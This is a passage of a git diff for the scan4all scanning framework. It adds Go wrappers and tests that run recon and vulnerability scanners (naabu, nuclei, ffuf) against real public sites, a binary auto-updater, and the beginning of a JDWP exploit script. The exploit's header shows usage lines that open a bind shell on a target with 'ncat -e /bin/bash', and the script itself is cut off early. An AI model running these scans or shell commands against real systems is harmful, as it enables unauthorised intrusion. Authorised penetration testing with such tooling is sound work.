xcmd.DoShuffledns(tt.args.s); got != tt.want { + t.Errorf("DoNaabu() = %v, want %v", got, tt.want) + } + }) + } + util.Wg.Wait() + util.CloseAll() +} +func TestDoKatana(t *testing.T) { + util.DoInitAll() + type args struct { + s string + } + tests := []struct { + name string + args args + want string + }{ + {"Katana", args{"www.sina.com.cn\nhttps://ww.baidu.com:443\n"}, ""}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := xcmd.DoKatana(tt.args.s); got != tt.want { + t.Errorf("DoNaabu() = %v, want %v", got, tt.want) + } + }) + } + util.Wg.Wait() + util.CloseAll() +} +func TestDoTlsx(t *testing.T) { + util.DoInitAll() + type args struct { + s string + } + tests := []struct { + name string + args args + want string + }{ + {"tlsx", args{"www.sina.com.cn\nhttps://ww.baidu.com:443\n"}, ""}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := xcmd.DoTlsx(tt.args.s); got != tt.want { + t.Errorf("DoNaabu() = %v, want %v", got, tt.want) + } + }) + } + util.Wg.Wait() + util.CloseAll() +} +func TestDoDnsx(t *testing.T) { + util.DoInitAll() + type args struct { + s string + } + tests := []struct { + name string + args args + want string + }{ + {"dnsx", args{"www.sina.com.cn\nhttps://ww.baidu.com:443\n"}, ""}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := xcmd.DoDnsx(tt.args.s); got != tt.want { + t.Errorf("DoNaabu() = %v, want %v", got, tt.want) + } + }) + } + util.Wg.Wait() + util.CloseAll() +} +func TestDoNuclei(t *testing.T) { + util.DoInitAll() + type args struct { + s string + } + tests := []struct { + name string + args args + want string + }{ + {"nuclei", args{"www.sina.com.cn\nhttps://ww.baidu.com:443\n"}, ""}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := xcmd.DoNuclei(tt.args.s); got != tt.want { + t.Errorf("DoNaabu() = %v, want %v", got, tt.want) + } + }) + } + util.Wg.Wait() + util.CloseAll() +} +func TestDoHttpx(t *testing.T) { + util.DoInitAll() + type args struct { + s string + } + tests := []struct { + name string + args args + want string + }{ + {"httpx", args{"www.sina.com.cn\nhttps://www.baidu.com:443\n"}, ""}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := xcmd.DoHttpx(tt.args.s); got != tt.want { + t.Errorf("DoNaabu() = %v, want %v", got, tt.want) + } + }) + } + util.Wg.Wait() + util.CloseAll() +} + +func TestDoNaabu(t *testing.T) { + util.DoInitAll() + type args struct { + s string + } + tests := []struct { + name string + args args + want string + }{ + {"naabu", args{"www.sina.com.cn\nhttps://ww.baidu.com:443\n"}, ""}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := xcmd.DoNaabu(tt.args.s); got != tt.want { + t.Errorf("DoNaabu() = %v, want %v", got, tt.want) + } + }) + } + util.Wg.Wait() + util.CloseAll() +} diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 000000000..c8be4a8b3 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,14 @@ +version: '3' + +services: + mywebapp: + image: ubuntu:latest + tty: true + restart: always + container_name: scan4all + volumes: + - ./tools:/tools + - ./config:/config + entrypoint: + - /bin/bash + - /tools/start.sh diff --git a/engine/engineImp.go b/engine/engineImp.go index 7add395d9..37c82c409 100644 --- a/engine/engineImp.go +++ b/engine/engineImp.go @@ -4,6 +4,7 @@ import ( "bytes" "context" "fmt" + "github.com/asaskevich/govalidator" "github.com/hktalent/51pwnPlatform/lib" "github.com/hktalent/51pwnPlatform/pkg/models" "github.com/hktalent/ProScan4all/lib/util" @@ -11,6 +12,7 @@ import ( "github.com/hktalent/jaeles/cmd" jsoniter "github.com/json-iterator/go" "github.com/panjf2000/ants/v2" + "github.com/projectdiscovery/iputil" "github.com/ulule/deepcopier" "io/ioutil" "log" @@ -18,6 +20,7 @@ import ( "net/url" "os" "os/signal" + "regexp" "strconv" "strings" "sync" @@ -107,8 +110,10 @@ func (e *Engine) GetTask(okTaskIds string) { }, strings.NewReader(`{"Num":`+strconv.Itoa(e.SyTask)+`,"task_ids":"`+okTaskIds+`","node_id":"`+e.NodeId+`","task_num":`+strconv.Itoa(e.LimitTask)+`}`)); nil == err && nil != resp { defer resp.Body.Close() var n1 = models.EventData{} + var oTsk = map[string]interface{}{} if data, err := ioutil.ReadAll(resp.Body); nil == err { - if err := json.Unmarshal(data, &n1); nil == err { + if err := json.Unmarshal(data, &oTsk); nil == err { + e.SendEvent(&n1, n1.EventType) } } @@ -154,9 +159,56 @@ func (e *Engine) generateTaskId(s string) string { return util.GetSha1(s) } +var reTsk1 = regexp.MustCompile(`[\n]`) + +// 目标类型 +// 去除私有网络的扫描任务 +// 第一个私有网络,第二个是互联网目标 +func (e *Engine) FixTask(s string) (string, string) { + var a1, a2 []string + if a := reTsk1.Split(s, -1); 0 < len(a) { + for _, x := range a { + if iputil.IsCidrWithExpansion(x) { + x = strings.ReplaceAll(x, "-", "/") + if ip1, _, err := net.ParseCIDR(x); nil == err { + if ip1.IsPrivate() { + a1 = append(a1, x) + } else { + a2 = append(a2, x) + } + } + } else if ip1 := net.ParseIP(x); nil != ip1 { + if ip1.IsPrivate() { + a1 = append(a1, x) + } else { + a2 = append(a2, x) + } + } else if -1 < strings.Index(x, "://") { + if govalidator.IsDNSName(x) { + a2 = append(a2, x) + } else if oU, err := url.Parse(x); nil == err { + if ip1 := net.ParseIP(oU.Hostname()); nil != ip1 { + if ip1.IsPrivate() { + a1 = append(a1, x) + } else { + a2 = append(a2, x) + } + } + } + } else { // 域名的情况 + a2 = append(a2, x) + } + } + } + return strings.Join(a1, "\n"), strings.Join(a2, "\n") +} + // 发送任务 +// 全局参数配置 + 扫描类型,细化扫描项目,由多个节点来分担不同子任务 +// config:全局配置已经包含了扫描类型信息,开启、关闭各种类型扫描的参数,包含通过环境变量传递过来的控制 // 只发送非私有网络的任务 func (e *Engine) SendTask(s string) { + _, s = e.FixTask(s) szUrl := fmt.Sprintf(e.DtServer, e.LimitTask) if oU, err := url.Parse(szUrl); nil == err { szUrl = strings.Join([]string{oU.Scheme, "://", oU.Host, "/api/v1.0/alipay_task"}, "") @@ -165,9 +217,13 @@ func (e *Engine) SendTask(s string) { szTaskId := e.generateTaskId(s) szSendData = "task_id=" + szTaskId + "&" + "scan_web=" + sW base64Str := util.GetSig(szSendData, prvKey) - m1 := map[string]string{"task_id": szTaskId, "op": "0", "data_sign": base64Str} + var oConf = map[string]interface{}{} + deepcopier.Copy(util.GetAllConfig()).To(&oConf) + delete(oConf, "DtServer") + delete(oConf, "esUrl") + delete(oConf, "Exploit") + m1 := map[string]interface{}{"task_id": szTaskId, "op": "0", "data_sign": base64Str, "config": oConf} data, _ := json.Marshal(&m1) - if resp, err := util.DoPost(fmt.Sprintf(e.DtServer, e.LimitTask), map[string]string{ "Content-Type": "application/json", }, bytes.NewReader(data)); nil == err && nil != resp { @@ -214,7 +270,7 @@ func (e *Engine) DoCase(ed *models.EventData) util.EngineFuncType { func (e *Engine) SendEvent(evt *models.EventData, argsTypes ...int64) { for _, i := range argsTypes { var n1 = models.EventData{} - deepcopier.Copy(evt).To(n1) + deepcopier.Copy(evt).To(&n1) n1.EventType = i e.EventData <- &n1 } diff --git a/go.mod b/go.mod index 37481cc7a..5fb0371a3 100644 --- a/go.mod +++ b/go.mod @@ -278,6 +278,7 @@ require ( github.com/hktalent/go-utils v0.0.0-20221022101117-e2abdad71ff5 // indirect github.com/hktalent/goxml2json v0.0.0-20221020100654-3af6886de60c // indirect github.com/hktalent/jaeles v1.0.1 // indirect + github.com/hktalent/kvDb v0.0.0-20221117003327-e25054351180 // indirect github.com/hktalent/websocket v0.0.0-20220908204337-b4a81b861976 // indirect github.com/huandu/xstrings v1.3.1 // indirect github.com/iancoleman/orderedmap v0.2.0 // indirect diff --git a/go.sum b/go.sum index 1716ec23c..a6033b0e8 100644 --- a/go.sum +++ b/go.sum @@ -779,6 +779,8 @@ github.com/hktalent/jaeles v1.0.1 h1:kv3T1lVFTbUCaSaLLOM12DAblZVn9Pxv7oSBxZv145w github.com/hktalent/jaeles v1.0.1/go.mod h1:y3BGd22vPBKjLPMtKuTBp/aqq8Y7QattfSa5BlYwBx8= github.com/hktalent/jarm-go v0.0.0-20220918133110-7801447b6267 h1:eH9QDUO5zwn34BLweSdpTdNcxHD/GXxxLDEG7gaR4OQ= github.com/hktalent/jarm-go v0.0.0-20220918133110-7801447b6267/go.mod h1:4r72GiZnJx4nyoKOHbzu0/5NCuY01Yekue5zueaYUcs= +github.com/hktalent/kvDb v0.0.0-20221117003327-e25054351180 h1:4pAG3KQLGK+xcxkv4D+k3qeuuDL2y8mxdMgiSK+INGM= +github.com/hktalent/kvDb v0.0.0-20221117003327-e25054351180/go.mod h1:4UxWOL1c5/mnCC4vJzq3M98S2rYW0hBSmhIOhSYjnd8= github.com/hktalent/websocket v0.0.0-20220908204337-b4a81b861976 h1:oGE7u0adRuzpamtAkkOy65hevwyEtrszTAVz+USJz/k= github.com/hktalent/websocket v0.0.0-20220908204337-b4a81b861976/go.mod h1:bYeGvW6UTlOOHQSEjdwwDSF2e5OFA4qQtgHRitu5LSQ= github.com/hooklift/assert v0.1.0 h1:UZzFxx5dSb9aBtvMHTtnPuvFnBvcEhHTPb9+0+jpEjs= diff --git a/lib/Smuggling/CheckSmuggling.go b/lib/Smuggling/CheckSmuggling.go index a52417593..50b6fde39 100644 --- a/lib/Smuggling/CheckSmuggling.go +++ b/lib/Smuggling/CheckSmuggling.go @@ -62,7 +62,7 @@ func checkSmuggling4Poc(ClTePayload *[]string, nTimes int, r1 *Smuggling, r *soc */ func DoCheckSmuggling(szUrl string, szBody string) { for _, x := range payload { - util.Wg.Add(1) + util.Wg.Add() go func(j Smuggling, szUrl string) { defer util.Wg.Done() if "" == szBody { diff --git a/lib/util/Const.go b/lib/util/Const.go index b89b099e8..ff4871acb 100644 --- a/lib/util/Const.go +++ b/lib/util/Const.go @@ -3,15 +3,15 @@ package util import ( "context" "fmt" + "github.com/remeh/sizedwaitgroup" "net/http" "os" "regexp" "strings" - "sync" ) // 全局线程控制 -var Wg *sync.WaitGroup = &sync.WaitGroup{} +var Wg = sizedwaitgroup.New(32) // 全局控制 var RootContext = context.Background() @@ -65,7 +65,7 @@ func SetHeader4Map(m *map[string]string) { // 异步执行方法,只适合无返回值、或使用管道返回值的方法 // 程序main整体等待 func DoSyncFunc(cbk func()) { - Wg.Add(1) + Wg.Add() go func() { defer Wg.Done() for { diff --git a/lib/util/config.go b/lib/util/config.go index d1293c330..97247dcc2 100644 --- a/lib/util/config.go +++ b/lib/util/config.go @@ -78,6 +78,9 @@ func GetVal(key string) string { } return "" } +func GetAllConfig() *map[string]interface{} { + return &mData +} // 获取interface func GetAsAny(key string) interface{} { @@ -229,6 +232,12 @@ func LoadCoinfig(config *viper.Viper) { return } config.Unmarshal(&mData) + // 合并环境中的设置 + for k, _ := range mData { + if "" != os.Getenv(k) { + mData[k] = strings.TrimSpace(os.Getenv(k)) + } + } //config.OnConfigChange(func(e fsnotify.Event) { // log.Println("Config file changed, now reLoad it: ", e.Name) // LoadCoinfig(config) diff --git a/main.go b/main.go index 96959bc15..93b8c0363 100644 --- a/main.go +++ b/main.go @@ -5,6 +5,7 @@ import ( "fmt" "github.com/hktalent/ProScan4all/lib/api" "github.com/hktalent/ProScan4all/lib/util" + "github.com/hktalent/ProScan4all/pkg/xcmd" "log" "net/http" _ "net/http/pprof" @@ -31,6 +32,8 @@ func main() { runtime.GOMAXPROCS(runtime.NumCPU()) util.DoInit(&config) + + xcmd.InitToolsFile() // set version if buildInfo, ok := debug.ReadBuildInfo(); ok { util.Version = buildInfo.Main.Version diff --git a/pkg/xcmd/allCmdTools.go b/pkg/xcmd/allCmdTools.go new file mode 100644 index 000000000..91db81622 --- /dev/null +++ b/pkg/xcmd/allCmdTools.go @@ -0,0 +1,114 @@ +package xcmd + +// 传入目标数据,转换为临时文件名 +// 最后一次参数为输出文件名 +func DoNaabu(s string) string { + return DoTargetHost(s, "naabu") +} + +// 传入目标数据,转换为临时文件名 +// 最后一次参数为输出文件名 +/* + -rl, -rate-limit int maximum requests to send per second (default 150) + -rlm, -rate-limit-minute int maximum number of requests to send per minute + -probe-all-ips probe all the ips associated with same host + -path string path or list of paths to probe (comma-separated, file) + -H, -header string[] custom http headers to send with request + -fr, -follow-redirects follow http redirects + -follow-host-redirects follow redirects on the same host + +"-ports","http:1-65535,https:1-65535", + +{"timestamp":"2022-11-16T18:22:46.358561+08:00","asn":{"as_number":"AS3356","as_name":"LEVEL3","as_country":"US","as_range":["8.11.2.0/23","8.11.4.0/22","8.11.8.0/21","8.11.16.0/20","8.11.32.0/19","8.11.64.0/18","8.11.128.0/17","8.12.0.0/14","8.16.0.0/12","8.32.0.0/11","8.64.0.0/10"]},"hash":{"body_sha1":"ec389ccce387d7c7360618020ecbd8ce502739de","header_sha1":"8d2bf5e7eaa5d4ac62d4a8be3660a8b537035209"},"port":"80","url":"http://www.sina.com.cn:80","input":"www.sina.com.cn","location":"https://www.sina.com.cn/","title":"302 Found","scheme":"http","webserver":"Tengine","content_type":"text/html","method":"GET","host":"8.45.176.231","path":"/","favicon":"-1840324437","time":"447.372648ms","a":["8.45.176.225","8.45.176.227","8.45.176.232","8.45.176.228","8.45.176.229","8.45.176.231","8.45.176.226"],"cname":["spool.grid.sinaedge.com","ww1.sinaimg.cn.w.alikunlun.com"],"tech":["Tengine"],"words":18,"lines":9,"status_code":302,"content_length":242,"failed":false,"vhost":true,"pipeline":true} +{"timestamp":"2022-11-16T18:22:46.461904+08:00","asn":{"as_number":"AS3356","as_name":"LEVEL3","as_country":"US","as_range":["8.11.2.0/23","8.11.4.0/22","8.11.8.0/21","8.11.16.0/20","8.11.32.0/19","8.11.64.0/18","8.11.128.0/17","8.12.0.0/14","8.16.0.0/12","8.32.0.0/11","8.64.0.0/10"]},"hash":{"body_sha1":"ec389ccce387d7c7360618020ecbd8ce502739de","header_sha1":"9b24d16abaaf483e259440356daae71e3cf66efc"},"port":"80","url":"http://www.sina.com.cn:80","input":"www.sina.com.cn","location":"https://www.sina.com.cn/","title":"302 Found","scheme":"http","webserver":"Tengine","content_type":"text/html","method":"GET","host":"8.45.176.229","path":"/","favicon":"-1840324437","time":"473.5599ms","a":["8.45.176.225","8.45.176.227","8.45.176.232","8.45.176.228","8.45.176.229","8.45.176.231","8.45.176.226"],"cname":["spool.grid.sinaedge.com","ww1.sinaimg.cn.w.alikunlun.com"],"tech":["Tengine"],"words":18,"lines":9,"status_code":302,"content_length":242,"failed":false,"vhost":true,"pipeline":true} + +cat sample/httpx.json|jq ".tech" +*/ +func DoHttpx(s string) string { + return DoRawCmd(s, "httpx") +} + +func DoRawCmd(s, t string) string { + s = TargetRaw2HostsFile(s) + szName, _ := GetTempFile() + return doTpCmd(t, s, szName) +} + +/* +-automatic-scan automatic web scan using wappalyzer technology detection to tags mapping +-no-strict-syntax Disable strict syntax check on templates +-report-db string nuclei reporting database (always use this to persist report data) +-ztls use ztls library with autofallback to standard one for tls13 +Out-of-band application security testing (OAST) + -cloud run scan on nuclei cloud + -cs, -cloud-server string nuclei cloud server to use (default "http://cloud-dev.nuclei.sh") + -ak, -cloud-api-key string api-key for the nuclei cloud server + + ./tools/macOS/nuclei -l tools/xx.txt -t $PWD/config/nuclei-templates,$PWD/config/51pwn -nss -severity critical,high,medium -type http,network,websocket,dns -report-config ./config/nuclei_esConfig.yaml -ztls -config-directory ./config/nuclei -max-host-error 5 -duc -nc -json -o xxx1.json +*/ +func DoNuclei(s string) string { + return DoRawCmd(s, "nuclei") +} + +func DoTargetHost(s, t string) string { + s = Target2HostsFile(s) + szName, _ := GetTempFile() + return doTpCmd(t, s, szName) +} + +func DoDnsx(s string) string { + return DoTargetHost(s, "dnsx") +} + +// -version-enum +// -cipher-enum +// "-san", +func DoTlsx(s string) string { + return DoTargetHost(s, "tlsx") +} + +// -no-scope disables host based default scope +func DoKatana(s string) string { + return DoRawCmd(s, "katana") +} + +// 这个没有太大用 +func DoShuffledns(s string) string { + return DoTargetHost(s, "shuffledns") +} + +// 这个没有太大用 +func DoSubfinder(s string) string { + return DoTarget4SubDomain(s, "subfinder") +} + +func DoTarget4SubDomain(s, t string) string { + s = Target4SubDomainNoFile(s) + szName, _ := GetTempFile() + return doTpCmdN(t, s, szName, 2) +} + +// /~https://github.com/OWASP/Amass/blob/master/doc/user_guide.md +func DoAmass(s string) string { + return DoTarget4SubDomain(s, "amass") +} + +/* + /~https://github.com/ffuf/ffuf + -recursion Scan recursively. Only FUZZ keyword is supported, and URL (-u) has to end in it. (default: false) + -recursion-depth Maximum recursion depth. (default: 0) +-d POST data + ffuf -w hosts.txt -u https://example.org/ -H "Host: FUZZ" -mc 200 +ffuf -w wordlist.txt -u https://example.org/FUZZ -mc all -fs 42 -c -v +ffuf -w /path/to/postdata.txt -X POST -d "username=admin\&password=FUZZ" -u https://target/login.php -fc 401 + +*/ +func DoFfuf(s string) string { + return DoRaw4FuzzCmd(s, "ffuf") +} + +func DoRaw4FuzzCmd(s, t string) string { + s = Target2Hosts4Fuzz(s, "/FUZZ") + szName, _ := GetTempFile() + return doTpCmd(t, s, szName) +} diff --git a/pkg/xcmd/doCmd.go b/pkg/xcmd/doCmd.go new file mode 100644 index 000000000..f517e9196 --- /dev/null +++ b/pkg/xcmd/doCmd.go @@ -0,0 +1,55 @@ +package xcmd + +import ( + "fmt" + util "github.com/hktalent/go-utils" + "io/ioutil" + "log" + "os" + "runtime" + "strings" +) + +func GetOsName() string { + currentOS := "linux" + switch runtime.GOOS { + case "darwin": + currentOS = "macOS" + default: + currentOS = runtime.GOOS + } + return currentOS +} + +// 执行命令、返回结果 +// 命令最后一个参数是结果文件名 +func DoAsyncCmd(szCmd string, a ...string) string { + szName := a[len(a)-1] + currentOS := GetOsName() + a = append([]string{fmt.Sprintf("tools%c%s%c%s", os.PathSeparator, currentOS, os.PathSeparator, szCmd)}, a...) + log.Println(strings.Join(a, " ")) + if _, err := DoCmd(a...); nil != err { + log.Println(err) + } + if data, err := ioutil.ReadFile(szName); nil == err && 0 < len(data) { + return string(data) + } else { + log.Println(err) + } + return "" +} + +func doTpCmd(t, i, o string) string { + return doTpCmdN(t, i, o, 1) +} +func doTpCmdN(t, i, o string, n int) string { + a := GetCmdParms(t) + a = DoParms(a...) + a[n] = i + a[len(a)-1] = o + szRst := DoAsyncCmd(t, a...) + if util.FileExists(o) { + os.Remove(o) + } + return szRst +} diff --git a/pkg/xcmd/initTools.go b/pkg/xcmd/initTools.go new file mode 100644 index 000000000..df59a8943 --- /dev/null +++ b/pkg/xcmd/initTools.go @@ -0,0 +1,95 @@ +package xcmd + +import ( + "fmt" + "github.com/apex/log" + util "github.com/hktalent/go-utils" + "github.com/pkg/errors" + "github.com/projectdiscovery/gologger" + "github.com/tj/go-update" + "github.com/tj/go-update/progress" + githubUpdateStore "github.com/tj/go-update/stores/github" + "os" + "runtime" + "strings" +) + +// 更新到最新版本 +func UpdateScan4allVersionToLatest(Owner, Repo string, verbose bool) error { + if verbose { + log.SetLevel(log.DebugLevel) + } + m := &update.Manager{ + Command: Repo, + Store: &githubUpdateStore.Store{ + Owner: Owner, + Repo: Repo, + Version: "999.99.99", + }, + } + releases, err := m.LatestReleases() + if err != nil { + return errors.Wrap(err, "could not fetch latest release") + } + if len(releases) == 0 { + gologger.Info().Msgf("No new updates found for scan4all engine!") + return nil + } + + latest := releases[0] + currentOS := GetOsName() + final := latest.FindZip(currentOS, runtime.GOARCH) + if final == nil { + for _, x := range []string{strings.ToUpper(currentOS[0:1]) + currentOS[1:], strings.ToLower(currentOS), runtime.GOOS} { + final = latest.FindZip(x, runtime.GOARCH) + if nil != final { + break + } + } + + if nil == final { + return fmt.Errorf("no compatible binary found for %s %s/%s", Repo, currentOS, runtime.GOARCH) + } + } + //hv := false + //KvDb1.Get(nil, func(bytes []byte) { + // hv = true + //}, final.URL) + //if hv { + // return fmt.Errorf("Already exists %s %s/%s", Repo, currentOS, runtime.GOARCH) + //} + szLstVer := final.Name + tarball, err := final.DownloadProxy(progress.Reader) + if err != nil { + return errors.Wrap(err, "could not download latest release") + } + os.MkdirAll(Pwd+"/tools/"+currentOS, os.ModePerm) + if err := m.InstallTo(tarball, Pwd+"/tools/"+currentOS+"/"); err != nil { + return errors.Wrap(err, "could not install latest release") + } + KvDb1.Put(final.URL, final) + gologger.Info().Msgf("Successfully updated to %s\n", szLstVer) + return nil +} + +// 首次运行下载工具包 +func InitToolsFile() { + gologger.Info().Msgf("wait update ... \n") + if o := util.GetAsAny("update"); nil != o { + if m1, ok := o.(map[string]interface{}); ok { + for k, v := range m1 { + if a1, ok := v.([]interface{}); ok { + for _, x1 := range a1 { + func(k1, k2 string) { + util.DoSyncFunc(func() { + if err := UpdateScan4allVersionToLatest(k1, k2, true); nil != err { + log.Debug(err.Error()) + } + }) + }(k, fmt.Sprintf("%v", x1)) + } + } + } + } + } +} diff --git a/pkg/xcmd/utils.go b/pkg/xcmd/utils.go new file mode 100644 index 000000000..c48ecedcb --- /dev/null +++ b/pkg/xcmd/utils.go @@ -0,0 +1,200 @@ +package xcmd + +import ( + "bytes" + "fmt" + util "github.com/hktalent/go-utils" + "github.com/hktalent/kvDb" + "io" + "io/ioutil" + "log" + "math/rand" + "net/url" + "os" + "os/exec" + "regexp" + "strings" + "time" +) + +var Pwd = "" +var ToolsPath = "" +var KvDb1 = kvDb.NewKvDb("db/51pwnCc", nil) +var envParm = map[string]string{} + +func init() { + rand.Seed(time.Now().UnixNano()) + util.RegInitFunc(func() { + Pwd, _ = os.Getwd() + ToolsPath = Pwd + "/../tools/" + envParm["PWD"] = Pwd + }) +} + +func GetTempFile() (string, *os.File) { + if tempInput, err := ioutil.TempFile("", "51pwnScan-*"); nil == err { + defer tempInput.Close() + return tempInput.Name(), tempInput + } + return "", nil +} + +// 目标转换到target +func Target2HostsFile(s string) string { + return DoTmpTargetFile(s, func(i *os.File) { + if a := strings.Split(s, "\n"); 0 < len(a) { + for _, x := range a { + x = strings.TrimSpace(x) + // 1.1.1.1 + if 7 > len(x) { + continue + } + // url 的时候只处理host + if strings.HasPrefix(x, "http://") || strings.HasPrefix(x, "https://") { + if oU, err := url.Parse(x); nil == err { + fmt.Fprintf(i, "%s\n", strings.Split(oU.Host, ":")[0]) + } + } else { + fmt.Fprintf(i, "%s\n", strings.Split(x, ":")[0]) + } + } + } + }) +} + +var r002 = regexp.MustCompile(`(^www\.)|(^[\.\*]*)`) + +// 目标转换到target +func Target4SubDomainNoFile(s string) string { + var a1 []string + if a := strings.Split(s, "\n"); 0 < len(a) { + for _, x := range a { + x = strings.TrimSpace(x) + // a.x + if 3 > len(x) { + continue + } + x = ReplaceAll(r002, x, "") + // url 的时候只处理host + if strings.HasPrefix(x, "http://") || strings.HasPrefix(x, "https://") { + if oU, err := url.Parse(x); nil == err { + a1 = append(a1, fmt.Sprintf("%s", strings.Split(ReplaceAll(r002, oU.Host, ""), ":")[0])) + } + } else { + a1 = append(a1, fmt.Sprintf("%s", strings.Split(x, ":")[0])) + } + } + } + return strings.Join(a1, ",") +} + +func Target2Hosts4Fuzz(s, fuzz string) string { + return DoTmpTargetFile(s, func(i *os.File) { + if a := strings.Split(s, "\n"); 0 < len(a) { + for _, x := range a { + x = strings.TrimSpace(x) + // a.x + if 10 > len(x) { + continue + } + fmt.Fprintf(i, "%s%s\n", fuzz, x) + } + } + }) +} + +// 目标转换到target +func Target2Hosts4SubDomain(s string) string { + return DoTmpTargetFile(s, func(i *os.File) { + if a := strings.Split(s, "\n"); 0 < len(a) { + for _, x := range a { + x = strings.TrimSpace(x) + // a.x + if 3 > len(x) { + continue + } + x = ReplaceAll(r002, x, "") + // url 的时候只处理host + if strings.HasPrefix(x, "http://") || strings.HasPrefix(x, "https://") { + if oU, err := url.Parse(x); nil == err { + fmt.Fprintf(i, "%s\n", strings.Split(ReplaceAll(r002, oU.Host, ""), ":")[0]) + } + } else { + fmt.Fprintf(i, "%s\n", strings.Split(x, ":")[0]) + } + } + } + }) +} + +func TargetRaw2HostsFile(s string) string { + return DoTmpTargetFile(s, func(i *os.File) { io.Copy(i, strings.NewReader(s)) }) +} + +func DoTmpTargetFile(s string, fnCbk func(*os.File)) string { + tempInput, err := os.Create(fmt.Sprintf("%s%s%d", os.TempDir(), util.GetSha1(s), rand.Intn(int(time.Now().UnixNano())))) + szName := tempInput.Name() + if nil != err { + log.Println(err) + return "" + } + //szName, tempInput := GetTempFile() + if nil != tempInput { + defer tempInput.Close() + fnCbk(tempInput) + return szName + } + return "" +} + +// 最佳的方法是将命令写到临时文件,并通过bash进行执行 +func DoCmd(args ...string) (string, error) { + cmd := exec.Command(args[0], args[1:]...) + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout // 标准输出 + cmd.Stderr = &stderr // 标准错误 + err := cmd.Run() + outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes()) + // out, err := cmd.CombinedOutput() + if nil != err { + return "", err + } + return string(outStr + "\n" + errStr), err +} + +func GetCmdParms(n string) []string { + if o := util.GetAsAny("cmds"); nil != o { + if a, ok := o.(map[string]interface{}); ok { + if p, ok := a[n]; ok { + if a1, ok := p.([]interface{}); ok { + var a []string + for _, i := range a1 { + a = append(a, fmt.Sprintf("%v", i)) + } + return a + } + } + } + } + return nil +} + +var r001 = regexp.MustCompile(`\{([^\}]+)\}`) + +func ReplaceAll(r *regexp.Regexp, s, r1 string) string { + return r.ReplaceAllString(s, r1) + //return string(r.ReplaceAll([]byte(s), []byte(r1))) +} + +func DoParms(a ...string) []string { + for i, s := range a { + if strings.Contains(s, "{") { + if a1 := r001.FindStringSubmatch(s); 0 < len(a1) { + if s1, ok := envParm[a1[1]]; ok { + a[i] = ReplaceAll(r001, s, s1) + } + } + } + } + return a +} diff --git a/projectdiscovery/naabu/naabux.go b/projectdiscovery/naabu/naabux.go deleted file mode 100644 index a795bf67e..000000000 --- a/projectdiscovery/naabu/naabux.go +++ /dev/null @@ -1,55 +0,0 @@ -package naabu - -import ( - "bytes" - "fmt" - "github.com/hktalent/ProScan4all/lib/util" - _ "github.com/projectdiscovery/fdmax/autofdmax" - "github.com/projectdiscovery/gologger" - "github.com/projectdiscovery/naabu/v2/pkg/result" - "github.com/projectdiscovery/naabu/v2/pkg/runner" - "os" -) - -// /~https://github.com/projectdiscovery/naabu -func DoNaabu(buf *bytes.Buffer) *runner.Options { - // options := runner.ParseOptions("-host", strings.Join(target, ","), "-v") - options := runner.ParseOptions(os.Args[1:]...) - - options.OnResult = func(r1 *result.HostResult) { - // port - if nil != r1 { - - for _, k := range r1.Ports { - buf.WriteString(fmt.Sprintf("http://%s:%d\nhttps://%s:%d\n", r1.Host, k, r1.Host, k)) - } - - } else { - buf.WriteString(fmt.Sprintf("http://%s\nhttps://%s\n", r1.Host, r1.Host)) - } - //fmt.Printf("test %+v", out) - } - naabuRunner, err := runner.NewRunner(options) - if err != nil { - gologger.Fatal().Msgf("Could not create runner: %s\n", err) - } - util.RegCbk("exit", func() { - naabuRunner.ShowScanResultOnExit() - gologger.Info().Msgf("CTRL+C pressed: Exiting\n") - if options.ResumeCfg.ShouldSaveResume() { - gologger.Info().Msgf("Creating resume file: %s\n", runner.DefaultResumeFilePath()) - err := options.ResumeCfg.SaveResumeConfig() - if err != nil { - gologger.Error().Msgf("Couldn't create resume file: %s\n", err) - } - } - naabuRunner.Close() - }) - err = naabuRunner.RunEnumeration() - if err != nil { - gologger.Fatal().Msgf("Could not run enumeration: %s\n", err) - } - // on successful execution remove the resume file in case it exists - options.ResumeCfg.CleanupResumeConfig() - return options -} diff --git a/projectdiscovery/naabu/naabux_test.go b/projectdiscovery/naabu/naabux_test.go deleted file mode 100644 index d10433c6b..000000000 --- a/projectdiscovery/naabu/naabux_test.go +++ /dev/null @@ -1,20 +0,0 @@ -package naabu - -import "testing" - -func TestDoNaabu(t *testing.T) { - type args struct { - target []string - } - tests := []struct { - name string - args args - }{ - {"test naabu", args{[]string{"www.sina.com.cn"}}}, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - DoNaabu(nil) - }) - } -} diff --git a/projectdiscovery/nuclei_Yaml/nuclei_yaml.go b/projectdiscovery/nuclei_Yaml/nuclei_yaml.go index f7ed3cd87..f8f4a5af8 100644 --- a/projectdiscovery/nuclei_Yaml/nuclei_yaml.go +++ b/projectdiscovery/nuclei_Yaml/nuclei_yaml.go @@ -146,7 +146,7 @@ func RunNuclei(buf *bytes.Buffer, xx chan bool, oOpts *map[string]interface{}, o x55, _ := util.TestIsWeb(&a66) // 启动web扫描 - util.Wg.Add(1) + util.Wg.Add() if util.GetValAsBool("enableJaeles") { go jaeles.RunScan(a66, "") } diff --git a/tools/jdwp-shellifier.py b/tools/jdwp-shellifier.py new file mode 100644 index 000000000..67b64f243 --- /dev/null +++ b/tools/jdwp-shellifier.py @@ -0,0 +1,661 @@ +#!/usr/bin/python +################################################################################ +# + +./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data +./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something +./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept + +# Universal JDWP shellifier +# +# @_hugsy_ +# +# And special cheers to @lanjelot +# + +import socket +import time +import sys +import struct +import urllib +import argparse + + + +################################################################################ +# +# JDWP protocol variables +# +HANDSHAKE = "JDWP-Handshake" + +REQUEST_PACKET_TYPE = 